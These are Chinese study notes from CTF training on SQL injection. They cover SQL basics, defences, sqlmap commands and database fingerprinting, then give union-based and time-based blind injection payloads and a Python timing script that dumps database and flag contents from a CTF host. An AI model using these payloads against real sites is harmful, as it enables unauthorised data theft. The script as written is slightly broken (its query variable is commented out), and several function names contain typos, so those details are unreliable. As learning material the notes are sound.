SQL注入学习笔记

00 前言

自己是一个没有SQL学习基础的人,培训的时候也挺懵的,最后算是勉强入了一个坑,希望自己能继续学习下去,出坑在望!

01 数据库基础(7月18日)

数据库基础概念

数据库,又称为数据管理系统,简而言之可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。

所谓“数据库”系以一定方式储存在一起、能予多个用户共享、 具有尽可能小的冗余度、与应用程序彼此独立的数据集合。一个数据库由多个表空间(Tablespace)构成。

MYSQL 数据库安装配置

1.下载mysql本地建立数据库。

2.打开MYSQL实例,一键启动获得环境,SSH连接进行操作(Windows->PuTTy)

SQL语法基础

创建并切换数据库

创建一个名为test的数据库

CREATE DATABASE test; 

将当前操作的数据库切换为test

USE test; 

创建表,查看表结构

创建两列的表testtable, id和name,id自动生成且自增

CREATE TABLE testtable (    
          id int(11)auto_increment primary key,
          name varchar(256)
);

展示testtable表结构

DESC testtable;

添加数据

插入数据,id自动生成,name为DASCTF, BUUCTF

INSERT INTO testtable(name) VALUES ('DASCTF'),('BUUCTF');

查询数据

直接查询表数据

SELECT *FROM testtable;

查询name为’a’的数据

SELECT *FROM testtable WHERE name='a';

修改数据

将表内数据name列内容改为’DASCTF777′

UPDATE testtable SET name='DASCTF777'

删除数据

删除表中name为’DASCTF777’的数据

DELETE FROM testtable WHERE name='DASCTF777';

02 SQL注入基础(7月18日)

SQL注入相关概念以及防御方法

这句SQL语句是一种万能钥匙,通常可以观察注入点,找到所有表的数据。

SELECT id, username FROM users WHERE id=1 or 1=1
SELECT id, username FROM users WHERE id=1 or '1'='1'

SQL注入概念

SQL注入(英语:SQL injection)是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器 误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。

样例代码:该代码通过简单的字符串拼接而没有经过任何的过滤,容易引发注入漏洞。

$sql = "SELECT id, username FROM users WHERE id=$id";

SQL注入防御方法

  • WAF
    • 这句防御方法通常防不胜防,往往可以被有意绕过,甚至被反利用。
  • 将反引号转义后再拼接
    • 需要再多个地方使用转义后拼接,比较麻烦。
  • 使用预处理语句
    • 比较正确的处理方法

SQLMAP

开源测试工具,可以测试SQL注入点。

http://sqlmap.org/

测试步骤

1.获得目标URL,其中带有查询参数。

2.打开命令行输入

sqlmap -u "http://example.com?id=1" --all

常用参数

  • –dbs:获取数据库列表
  • –table -D “数据库”:获取数据库中有哪些表
  • –columns -T “数据表” -D “数据库”:获取指定表中的字段
  • –dump -C”字段” -T“数据表”-D“数据库”:获得指定字段中的内容

03 数据库判别(7月18日)

常见数据库特征介绍以及辨别方法

  • 常见数据库:MYSQL, MairaDB, Postgres, SQL Server, Oracle, Oracle, Sqlite
  • 基本思路:能在这种数据库而在其他数据库用不了的函数或属性。
  • 测试网站:https://sqliteonline.com
  • Oracle测试网站:https://livesql.oracle.com

版本函数 version() 输出

  • MYSQL:
    • SELECT version()
    • SELECT @@version
    • 答案:通常为5.7 5.8
  • MairaDB:
    • SELECT version()
    • SELECT @@version
    • 答案:10.4.12-MairaDB
  • Postgres:
    • SELECT version()
    • 答案: Postgres 12.3
  • SQL Server:
    • SELECT @@version
    • 答案:Microsoft SQL Sever 2019
  • Oracle:
    • SELECT *from v$version;
    • 答案:Oracle Database 19c Enterprise Release 19.0.0.0.0
  • SQlite:
    • SELECT sqlite_version();
    • 答案:3.31.1

特有的函数利用

  • MYSQL:
    • connection_id()
    • last_insert_id()
    • row_count()
  • MariaDB:
    • connection_id()
    • last_insert_id()
    • row_count()
  • Postgres:
    • SELECT *from now()
  • SQL Server:
    • @@rowcount
    • @@pack_received
  • SQlite:
    • strtime(“%s”,’now’);

04 SQL手工注入基础(7月18日)

大部分情况下:

  • 有WAF
  • 回显比较怪异

不可以直接使用SQLMAP工具解决。

无过滤情况下有回显手工注入

判断字段数

id = 1 order by 1 #正确回显
id = 1 order by 2 #正确回显
id = 1 order by 3 #报错提示没有字段数

分别传入以上order by 语句直到发生报错。其中 id=1 order by 3 时报错,说明 SELECT 出前面数据的字段数为 2。

order by 可以用数字指代字段名,从 1 开始对应 SELECT 出数据的第几字段。

使用联合查询

id=1 UNION SELECT 1,version()

可以看到夹带上了 version() 的执行结果,返回了数据库版本号。

UNION 可以将两个 SELECT 的结果合并在一起,但列数必须一致。

查询所有数据库

id=1 union select 1, group_concat(distinct TABLE_SCHEMA) from information_schema.tables

可以看到目前数据库系中所有数据库的名字。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

查询特定数据库的表的信息

id=1 union select 1,group_concat(TABLE_NAME) from information_schema.tables where table_schema= 'test'

可以看到test数据库中所有表的名字。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

查询特定数据库中特定数据表的字段信息

id=1 union select 1,group_concat(COLUMN_NAME) from information_schema.columns where table_schema= ‘test‘ and table_name=‘flag’

可以看到test数据库中 flag 表的字段的名字。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

查询特定数据库中特定数据表的特定字段内容

id=1 union select 1,group_concat(flag) from test.flag

可以获得flag字段的内容。

information_schema 表中储存了数据库的库表信息,可以从中使用 SELECT 语句来读取信息。

无过滤情况下无回显手工注入

使用的具体函数跟有回显手工注入差不多,区别在于判断是否生效的方法是使用sleep()函数。

判断注入点

id=1
id=1 and sleep(10) = 1

输入两句SQL语句,回显一样,但后者返回的时间特别长,说明此处有注入点,且延时生效了。

利用延时函数判断注入语句是否生效。

查询数据库名称

 id=1 and if(substring((SELECT database()),1,1)='*',sleep(10),1)
# (*为英文字母)

当出现延时时,说明database的第一个字母为’*’。

if 为判断函数,第一个参数为真时则返回第二个参数内容,反之则返回 第三个参数内容。

substring 为截取字符串函数,第一个参数为要截取的字符串,第二个则为起 始字符,第三个则为要截取的字符数。

将 substring 的结果(单字符)与我们传入的字符进行比较,符合就会延时。

编写脚本

编写脚本,便于注入,注入语句基本与有回显注入类似。

import string
import requests


def request(request_id):
    try:
        # 延时注入,超时为真
        requests.get("http://f6996fad-6528-4dc1-80ac-3008608c99c2.das-node.wetolink.com:82?id={}".format(request_id),
                     timeout=5)
    except:
        return True
    return False


# 要执行的语句
# sql = "select database()"
# sql = "select group_concat(distinct TABLE_SCHEMA) from information_schema.tables"
# sql = "select group_concat(distinct TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'test'"
# sql = "select group_concat(distinct COLUMN_NAME) from information_schema.columns where TABLE_SCHEMA = 'test' and TABLE_NAME='flag'"
# sql = "select group_concat(distinct flag) from test.flag"
outer_len_sql = "id=1 and if(length(({}))={},sleep(10),1)"
outer_sql = "id=1 and if(substring(({}),{},1)='{}',sleep(10),1)"

# 获取结果长度
length = 1
while True:
    if request(outer_len_sql.format(sql, length)):
        break
    length += 1
print("长度:{}".format(length))

result = ""
for i in range(1, length + 1):
    # 只测试可见字符
    for j in string.printable:
        if request(outer_sql.format(sql, i, j)):
            result += j
            print("结果:{}".format(result))
            break
print("结果:{}".format(result))

05 7月18日练习wp

发表评论

电子邮件地址不会被公开。 必填项已用*标注